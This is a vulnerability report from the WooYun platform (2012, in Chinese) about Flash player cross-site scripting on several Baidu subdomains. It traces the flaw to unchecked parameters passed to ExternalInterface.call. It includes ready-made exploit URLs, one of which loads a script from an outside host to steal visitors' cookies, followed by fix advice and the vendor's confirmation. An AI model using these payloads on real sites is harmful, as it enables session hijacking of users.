当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07177

漏洞标题:播放器代码编写未考虑安全问题导致跨站 [继续FLASH]

相关厂商:百度

漏洞作者: gainover

提交时间:2012-05-16 09:57

修复时间:2012-06-30 09:57

公开时间:2012-06-30 09:57

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-16: 细节已通知厂商并且等待厂商处理中
2012-05-17: 厂商已经确认,细节仅向厂商公开
2012-05-27: 细节向核心白帽子及相关领域专家公开
2012-06-06: 细节向普通白帽子公开
2012-06-16: 细节向实习白帽子公开
2012-06-30: 细节向公众公开

简要描述:

除了第三方的 我昨天刚发的 jwplayer 导致的跨站攻击外, 你们自己写的播放器一样存在跨站问题。
jwplayer 的帖子见:http://www.wooyun.org/bugs/wooyun-2010-07166
这几个先赶紧修复~ 。
http://youxi.baidu.com/media/player.swf?debug=alert(/xxx/);
http://www.baidu.com/search/zhidao/badminton/jwplayer/player.swf?debug=alert
http://ued.baidu.com/wp-content/plugins/flash-video-player/mediaplayer/player.swf?debug=alert
http://sem.baidu.com/jw_player/player.swf?debug=alert
接着来看看你们自己的播放器~

详细说明:

漏洞程序:http://mv.baidu.com/export/flashplayer.swf
漏洞代码:
1. 首先是FLASH后面的参数直接传递给了 Parameters.getInstance().data
Parameters.getInstance().data = loaderInfo.parameters;
2. 然后
ExternalInterface.call(Parameters.getInstance().onPlayStart, _arg1);
ExternalInterface.call(Parameters.getInstance().onPlayStop);
ExternalInterface.call(Parameters.getInstance().onFileLoadedError);
这3处都是直接传入到call里做参数。
3. 继续看 Parameters 类的代码
public function get onPlayStart():String{
return (_data["onPlayStart"]);
}
4. 因此,我们可以构造以下恶意代码:?onPlayStart=function(){alert('xx')},一个实际利用代码是:

http://mv.baidu.com/export/flashplayer.swf?onFileLoadedError=alert&onPlayPause=alert&autoplay=true&vid=a962553478ba87b54e229f3e&onPlayStart=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest5.js%5C'%3E%3C%2Fscript%3E%22'%7D%29


5. 可得到cookies。 剩下的俺不多说了。其它类似漏洞链接:
WooYun: 淘宝网COOKIES盗取[flash编程安全+apache http-only cookie 泄漏利用]
WooYun: 新浪微博COOKIES盗取[flash编程安全+apache http-only cookie 泄漏利用]

漏洞证明:

用户访问页面后,Cookies发送给第三方。

修复方案:

目前这种跨站,浏览器自己的保护措施起不到拦截作用。因此只要用户点了链接,就十分可能中招了。
1. 检查全站 JWPlayer 删除或更换其它。
2. 你们自己这个播放器,修改源码即可。
其实么,这里应该将 FLASH这种文件, 都单独放到一个不同的域里, 比如 baiduswf.com, 这样即使FLASH有问题, 也不会有太大影响。
像http://www.baidu.com/search/zhidao/badminton/jwplayer/player.swf?debug=alert 这种第三方的播放器,不应该出现在主域名之下的。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-05-17 13:31

厂商回复:

感谢提交,我们会尽快修复~

最新状态:

暂无